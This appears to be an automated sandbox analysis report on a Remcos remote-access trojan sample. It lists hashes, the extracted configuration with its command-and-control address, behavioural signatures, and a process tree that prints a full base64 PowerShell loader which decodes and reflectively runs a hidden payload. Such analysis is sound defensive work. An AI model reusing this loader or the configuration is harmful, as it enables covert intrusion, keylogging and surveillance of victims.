Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system - submitted
28/04/2024, 01:49
Static task
static1
Behavioral task
behavioral1
Sample
a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
⠨/start.vbs
Resource
win7-20240215-en
Behavioral task
behavioral4
Sample
⠨/start.vbs
Resource
win10v2004-20240419-en
Behavioral task
behavioral5
Sample
⠨/temp.bat
Resource
win7-20240419-en
Behavioral task
behavioral6
Sample
⠨/temp.bat
Resource
win10v2004-20240419-en
General
- Target a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe
- Size 515KB
- Sample240428-b82b4adh61
- SHA256 a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075
- MD5 3e1fb053e8ca0281a2952fbdced68d1e
- SHA1 0af4262bd9b8b2ac335a27aac5211d6242d14884
- SHA512 498683b0aa74a335372810d25f6b4456264b3fff17536822ee24adbc560d5932601420c942e4a1dfbf800397c864300fffb14e89b620217321d857f6b0d40cf9
- SSDEEP 12288:1fLwLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLPLLLLLLLLLL2:1fLwLLLLLLLLLLLLLLLLLLLLLLLLLLL6
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
remcos
-
RemoteHost
-
172.94.101.172:6238
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-ZY6SQA
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 16 IoCs
resource yara_rule behavioral2/memory/1880-51-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-53-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-54-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-55-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-56-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-57-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-58-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-59-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-60-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-61-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-62-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-63-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-64-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-65-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-66-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/1880-67-0x0000000000400000-0x0000000000482000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation wscript.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4548 set thread context of 1880 4548 powershell.exe 89 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4444 powershell.exe 4444 powershell.exe 4548 powershell.exe 4548 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4444 powershell.exe Token: SeDebugPrivilege 4548 powershell.exe - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1904 wrote to memory of 748 1904 a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe 84 PID 1904 wrote to memory of 748 1904 a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe 84 PID 1904 wrote to memory of 748 1904 a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe 84 PID 748 wrote to memory of 3688 748 wscript.exe 85 PID 748 wrote to memory of 3688 748 wscript.exe 85 PID 748 wrote to memory of 3688 748 wscript.exe 85 PID 3688 wrote to memory of 4444 3688 cmd.exe 87 PID 3688 wrote to memory of 4444 3688 cmd.exe 87 PID 3688 wrote to memory of 4444 3688 cmd.exe 87 PID 3688 wrote to memory of 4548 3688 cmd.exe 88 PID 3688 wrote to memory of 4548 3688 cmd.exe 88 PID 3688 wrote to memory of 4548 3688 cmd.exe 88 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89 PID 4548 wrote to memory of 1880 4548 powershell.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe"C:\Users\Admin\AppData\Local\Temp\a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\SysWOW64\wscript.exe"wscript.exe" "C:\Users\Admin\start.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgImNzZy5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\csg.ps1' -Encoding UTF8"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4444
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\csg.ps1"4⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"5⤵PID:1880
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 1KB
- SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
- MD5 4280e36a29fa31c01e4d8b2ba726a0d8
- SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
- SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 16KB
- SHA256 5d5864d2a42b0c9eadc7f2f8934ba2a616f64aab5806db2aa43f1781c442a948
- MD5 6b6d0326d408c209bfaea367be420993
- SHA1 f2e313c9075e45ddc8978bcf8a6622b99d89b0b6
- SHA512 cbcd7acc0b9dea1ed2f17c1309bed16ac9982730064e460376001de49b9452f290779c7a9d0cf77d07d24f1f837d25c2c5eaa7b162816c98ef9b6b45cfd794fa
- SSDEEP 384:qrf+oB9i+yoEfeOo0FkEF9B2T1K6seYoX6Sv/my3SokD3lhCePER7b9AcDX:IfeogeR5EXB2T1NjrVSdhw8ERXj
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcdrnrvg.b4c.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\csg.ps1
- Size 2KB
- SHA256 40ac09ba5daa614c666e524e6a31369296a718f8eb1117ea46837a1d97091c50
- MD5 6a305fb87021b075b47a44410458b25e
- SHA1 9607955e06d79187ebc350df3c4f5468e1b97b45
- SHA512 670d1690aca73d03495d788547eed6f287afa7938f11d5d450519e77efb3b4d2ba340868521c9a22906cecd230a653013df0b93b2094ab822d995be588260fea
- MD5 SHA1 SHA512
- Path C:\Users\Admin\start.vbs
- Size 170B
- SHA256 087f43e7f9f78bbeb1050cdbfaeb3d23ad7b4b742d6ef91229b8824a20daaee6
- MD5 65ee9f906fdefca9b4a6a21581dd849f
- SHA1 b372dea5a9b9a99311445a55b634aa8f6c1d7b9d
- SHA512 1f593864f52ac61f7f4ef2aa1bfcf538dd2833e53bbd931f96c42b2ca90d2bf68545fdac547f0f3cce09ad7734acdb629bf642081227a996d3d22117263ad23a
- MD5 SHA1 SHA512
- Path C:\Users\Admin\temp.bat
- Size 518KB
- SHA256 c8ac67ae12680fa0dbfe31a8c76793de12f3ef74f1c5e1f47785f7e5828dd364
- MD5 2667b4a8172dd90357d7fb381b1bd5d2
- SHA1 7e97cca9d3f29238ca92085405dd477d3323a6f0
- SHA512 bdc8954bc23adfe40ce7cd21bb0ecc48a9ea94df170e5f22797c80aef8b5eceabf0d7d69f3d2e3f6d73b7aa77a5b5fef94113fb644394625f18b7d8968997013
- SSDEEP 12288:JPK4iHnVY3v1mTxzxKElzjsatwSewkCTs2VKGv:81Y3v1mJYEzIa2LasO
- MD5 SHA1 SHA512 SSDEEP